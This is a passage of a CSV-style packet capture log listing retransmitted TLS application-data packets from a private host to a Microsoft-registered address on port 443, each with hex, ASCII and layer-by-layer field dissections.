\"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:20.054794,2,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fe40008006e958c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....X..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46846, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59736, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:20.664177,3,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6ff40008006e957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59735, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:21.867300,4,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb700000080062957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.........)W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46848, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:23.070404,5,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb701000080062956c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.........)V..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46849, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10582, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:24.273504,6,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70240008006e954c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....T..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46850, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59732, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:26.679735,7,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70340008006e953c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....S..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46851, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59731, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:31.492126,8,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70440008006e952c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....R..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46852, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59730, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:33.806131,9,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70540008006e8bdc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695946107f27325b3d0a3d453ab606439f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78a8b6937e45e6eea30bc238b0ee2fc68,\"RT.W..RT.{....E.....@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1.....i7.^n.0.#....h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46853, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59581, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94a\\\\x07\\\\xf2s%\\\\xb3\\\\xd0\\\\xa3\\\\xd4S\\\\xab`d9\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8a\\\\x8bi7\\\\xe4^n\\\\xea0\\\\xbc#\\\\x8b\\\\x0e\\\\xe2\\\\xfch\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:34.116976,10,TCP 192.168.122.168:49892 -> 